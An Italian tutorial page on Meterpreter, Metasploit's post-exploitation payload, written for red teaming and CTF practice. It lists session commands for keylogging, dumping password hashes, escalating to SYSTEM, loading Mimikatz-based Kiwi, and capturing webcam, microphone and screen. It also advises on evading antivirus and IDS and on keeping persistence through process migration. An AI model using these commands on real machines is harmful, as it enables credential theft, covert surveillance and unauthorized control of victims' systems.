Tutorials

Meterpreter

METERPRETER Meterpreter è un payload avanzato incluso nel framework di Metasploit, progettato per offrire un'interfaccia potente e stealthy per il controllo remoto della macchina vittima. Una volta st

#exploitation#metasploit

METERPRETER

Meterpreter è un payload avanzato incluso nel framework di Metasploit, progettato per offrire un'interfaccia potente e stealthy per il controllo remoto della macchina vittima. Una volta stabilita la sessione, consente di eseguire una vasta gamma di attività di post-exploitation.

Architettura

  • In-memory payload: Meterpreter non viene scritto su disco, ma eseguito direttamente in memoria, minimizzando la possibilità di rilevamento da parte degli antivirus tradizionali.
  • Comunicazione sicura: Le comunicazioni tra Meterpreter e l'handler Metasploit avvengono tramite canali criptati (es. HTTPS), eludendo meccanismi di IDS/IPS.
  • Tipi di payload:
- Stageless: il payload completo viene inviato in un’unica soluzione. - Staged: diviso in più parti, lo _stager_ viene eseguito per primo e richiede il payload completo successivamente.

Scelta del Payload

La scelta del payload ideale dipende da:

  • Sistema operativo della vittima (Linux, Windows, macOS, Android, ecc.)
  • Componenti disponibili sul target (es. interpreti PHP, Python, ecc.)
  • Tipo di connessione possibile (TCP, HTTP/S, DNS, ecc.)

Comandi Utili in Sessione Meterpreter

ComandoDescrizione
helpElenco dei comandi disponibili
getuidMostra l'utente con cui è avviata la sessione
psElenca i processi attivi
migrate Migra il payload in un altro processo (es. migrate 713)
keyscan_startAvvia il keylogger
keyscan_dumpDumpa i tasti catturati
keyscan_stopFerma il keylogger
hashdumpEstrae gli hash delle password dal SAM (Windows)
search -f Cerca un file (es. search -f flag.txt)
shellApre una shell normale (Ctrl+Z per tornare a meterpreter)
getpidMostra il PID del processo meterpreter corrente
getsystemTenta di ottenere i privilegi SYSTEM
screenshareVisualizza lo schermo della vittima in tempo reale
screenshotCattura uno screenshot del desktop
record_micRegistra l'audio dal microfono
webcam_listElenca le webcam disponibili
webcam_snapScatta una foto da una webcam
webcam_streamStreamma il feed video da una webcam
load pythonCarica il modulo Python in Meterpreter
load kiwiCarica Kiwi (basato su Mimikatz)
show_mountMostra i dischi fisici del sistema (eg, C:\)
Nota: dopo il caricamento di un modulo (load), usare help per visualizzare i comandi specifici del modulo.

Shell to Meterpreter

Nel caso in cui si abbia una shell semplice (non meterpreter), è possibile convertirla usando il modulo:

bash
use post/multi/manage/shell_to_meterpreter

Dopo aver selezionato il modulo:

bash
set SESSION <ID>
run

Questa tecnica è utile anche durante l'escalation dei privilegi.


Best Practice

  • Eseguire migrate in un processo stabile (es. explorer.exe) per mantenere la persistenza.
  • Evitare processi che terminano automaticamente o che potrebbero destabilizzare la macchina vittima.
  • Non abusare delle funzionalità di webcam/microfono senza necessità: aumenta il rischio di rilevamento.

Questa guida è pensata per fornire una panoramica completa e professionale dell’uso di Meterpreter in contesto di Red Teaming e CTF.